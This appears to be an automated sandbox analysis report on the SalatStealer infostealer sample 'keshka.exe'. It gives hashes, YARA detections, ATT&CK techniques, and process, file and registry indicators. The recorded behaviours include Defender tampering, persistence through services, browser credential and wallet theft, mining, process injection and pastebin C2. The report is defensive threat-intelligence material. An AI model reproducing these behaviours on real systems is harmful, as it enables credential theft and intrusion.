salatstealer | 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8

geolocation tags

asiadelhiinindia
max time kernel
600s
max time network
602s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/04/2026, 14:22

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General

Target
keshka.exe
Size 3.4MB
Sample260420-rpkg8scz3k
SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
MD5 20eef3d8647f48e17eb7f3804d836518
SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
TLSH
T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer miner persistence spyware stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 30 IoCs

resource	yara_rule
behavioral2/memory/4196-1-0x0000000000700000-0x0000000001357000-memory.dmp	family_salatstealer
behavioral2/memory/4196-2-0x0000000000700000-0x0000000001357000-memory.dmp	family_salatstealer
behavioral2/memory/4196-10-0x0000000000700000-0x0000000001357000-memory.dmp	family_salatstealer
behavioral2/memory/4204-12-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-13-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/1308-36-0x0000000000D30000-0x0000000001987000-memory.dmp	family_salatstealer
behavioral2/memory/5288-43-0x00000000002A0000-0x0000000000EF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-65-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-74-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-75-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-76-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-77-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-78-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-79-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-80-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-81-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-82-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-83-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-84-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-85-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-86-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-87-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-88-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/5648-94-0x0000000000C20000-0x0000000001877000-memory.dmp	family_salatstealer
behavioral2/memory/2768-95-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-96-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-101-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/4204-102-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer
behavioral2/memory/3372-1633-0x0000000000C20000-0x0000000001877000-memory.dmp	family_salatstealer
behavioral2/memory/3324-1634-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	family_salatstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4364 created 648	4364	powershell.EXE	5
PID 3260 created 648	3260	powershell.EXE	5

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
23	1856	powershell.exe
24	1856	powershell.exe
25	1856	powershell.exe
26	1856	powershell.exe
27	1856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
32	powershell.exe
2156	powershell.exe
4364	powershell.EXE
3260	powershell.EXE

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 11 IoCs

pid	Process
4204	WUDFHost.exe
1308	WUDFHost.exe
5288	WUDFHost.exe
5648	wininit.exe
2768	WUDFHost.exe
2396	f.exe
6040	rjyzvekkqzsi.exe
3372	wininit.exe
3324	WUDFHost.exe
3488	wininit.exe
5252	WUDFHost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
42	pastebin.com

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	f.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2396 set thread context of 1536	2396	f.exe	97
PID 4364 set thread context of 5216	4364	powershell.EXE	112
PID 6040 set thread context of 3420	6040	rjyzvekkqzsi.exe	114
PID 6040 set thread context of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 set thread context of 4380	6040	rjyzvekkqzsi.exe	117
PID 3260 set thread context of 6060	3260	powershell.EXE	122

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4196-0-0x0000000000700000-0x0000000001357000-memory.dmp	upx
behavioral2/memory/4196-1-0x0000000000700000-0x0000000001357000-memory.dmp	upx
behavioral2/memory/4196-2-0x0000000000700000-0x0000000001357000-memory.dmp	upx
behavioral2/files/0x001900000002b3b2-8.dat	upx
behavioral2/memory/4196-10-0x0000000000700000-0x0000000001357000-memory.dmp	upx
behavioral2/memory/4204-11-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-12-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-13-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/1308-19-0x0000000000D30000-0x0000000001987000-memory.dmp	upx
behavioral2/memory/1308-36-0x0000000000D30000-0x0000000001987000-memory.dmp	upx
behavioral2/memory/5288-42-0x00000000002A0000-0x0000000000EF7000-memory.dmp	upx
behavioral2/memory/5288-43-0x00000000002A0000-0x0000000000EF7000-memory.dmp	upx
behavioral2/memory/4204-65-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-74-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-75-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-76-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-77-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-78-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-79-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-80-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-81-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-82-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-83-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-84-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-85-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-86-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-87-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-88-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/5648-91-0x0000000000C20000-0x0000000001877000-memory.dmp	upx
behavioral2/memory/2768-93-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/5648-94-0x0000000000C20000-0x0000000001877000-memory.dmp	upx
behavioral2/memory/2768-95-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-96-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-101-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/4204-102-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx
behavioral2/memory/3372-1633-0x0000000000C20000-0x0000000001877000-memory.dmp	upx
behavioral2/memory/3324-1634-0x0000000000EA0000-0x0000000001AF7000-memory.dmp	upx

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows Media Player\04305f31-2ea8-a578-40f4-6e46038b312e	keshka.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\WUDFHost.exe	keshka.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\WUDFHost.exe	WUDFHost.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\WUDFHost.exe	WUDFHost.exe
File opened for modification	C:\Program Files (x86)\Common Files\04305f31-2ea8-a578-40f4-6e46038b312e	keshka.exe
File opened for modification	C:\Program Files (x86)\Common Files\wininit.exe	keshka.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3324	sc.exe
1592	sc.exe
5264	sc.exe
4772	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keshka.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WUDFHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WUDFHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WUDFHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WUDFHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WUDFHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WUDFHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininit.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4196	keshka.exe
4196	keshka.exe
4196	keshka.exe
4196	keshka.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
1856	powershell.exe
1856	powershell.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
4204	WUDFHost.exe
2396	f.exe
32	powershell.exe
32	powershell.exe
2396	f.exe
2396	f.exe
2396	f.exe
2396	f.exe
2396	f.exe
2396	f.exe
6040	rjyzvekkqzsi.exe
4364	powershell.EXE
4364	powershell.EXE
2156	powershell.exe
2156	powershell.exe
4364	powershell.EXE
5216	dllhost.exe
5216	dllhost.exe
5216	dllhost.exe
5216	dllhost.exe
6040	rjyzvekkqzsi.exe
6040	rjyzvekkqzsi.exe
6040	rjyzvekkqzsi.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4204	WUDFHost.exe
3120	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	32	powershell.exe
Token: SeDebugPrivilege	4364	powershell.EXE
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	4364	powershell.EXE
Token: SeDebugPrivilege	5216	dllhost.exe
Token: SeLockMemoryPrivilege	4380	dialer.exe
Token: SeDebugPrivilege	3260	powershell.EXE
Token: SeAssignPrimaryTokenPrivilege	2672	svchost.exe
Token: SeIncreaseQuotaPrivilege	2672	svchost.exe
Token: SeSecurityPrivilege	2672	svchost.exe
Token: SeTakeOwnershipPrivilege	2672	svchost.exe
Token: SeLoadDriverPrivilege	2672	svchost.exe
Token: SeSystemtimePrivilege	2672	svchost.exe
Token: SeBackupPrivilege	2672	svchost.exe
Token: SeRestorePrivilege	2672	svchost.exe
Token: SeShutdownPrivilege	2672	svchost.exe
Token: SeSystemEnvironmentPrivilege	2672	svchost.exe
Token: SeUndockPrivilege	2672	svchost.exe
Token: SeManageVolumePrivilege	2672	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2672	svchost.exe
Token: SeIncreaseQuotaPrivilege	2672	svchost.exe
Token: SeSecurityPrivilege	2672	svchost.exe
Token: SeTakeOwnershipPrivilege	2672	svchost.exe
Token: SeLoadDriverPrivilege	2672	svchost.exe
Token: SeSystemtimePrivilege	2672	svchost.exe
Token: SeBackupPrivilege	2672	svchost.exe
Token: SeRestorePrivilege	2672	svchost.exe
Token: SeShutdownPrivilege	2672	svchost.exe
Token: SeSystemEnvironmentPrivilege	2672	svchost.exe
Token: SeUndockPrivilege	2672	svchost.exe
Token: SeManageVolumePrivilege	2672	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2672	svchost.exe
Token: SeIncreaseQuotaPrivilege	2672	svchost.exe
Token: SeSecurityPrivilege	2672	svchost.exe
Token: SeTakeOwnershipPrivilege	2672	svchost.exe
Token: SeLoadDriverPrivilege	2672	svchost.exe
Token: SeSystemtimePrivilege	2672	svchost.exe
Token: SeBackupPrivilege	2672	svchost.exe
Token: SeRestorePrivilege	2672	svchost.exe
Token: SeShutdownPrivilege	2672	svchost.exe
Token: SeSystemEnvironmentPrivilege	2672	svchost.exe
Token: SeUndockPrivilege	2672	svchost.exe
Token: SeManageVolumePrivilege	2672	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2672	svchost.exe
Token: SeIncreaseQuotaPrivilege	2672	svchost.exe
Token: SeSecurityPrivilege	2672	svchost.exe
Token: SeTakeOwnershipPrivilege	2672	svchost.exe
Token: SeLoadDriverPrivilege	2672	svchost.exe
Token: SeSystemtimePrivilege	2672	svchost.exe
Token: SeBackupPrivilege	2672	svchost.exe
Token: SeRestorePrivilege	2672	svchost.exe
Token: SeShutdownPrivilege	2672	svchost.exe
Token: SeSystemEnvironmentPrivilege	2672	svchost.exe
Token: SeUndockPrivilege	2672	svchost.exe
Token: SeManageVolumePrivilege	2672	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2672	svchost.exe
Token: SeIncreaseQuotaPrivilege	2672	svchost.exe
Token: SeSecurityPrivilege	2672	svchost.exe
Token: SeTakeOwnershipPrivilege	2672	svchost.exe
Token: SeLoadDriverPrivilege	2672	svchost.exe
Token: SeSystemtimePrivilege	2672	svchost.exe
Token: SeBackupPrivilege	2672	svchost.exe
Token: SeRestorePrivilege	2672	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
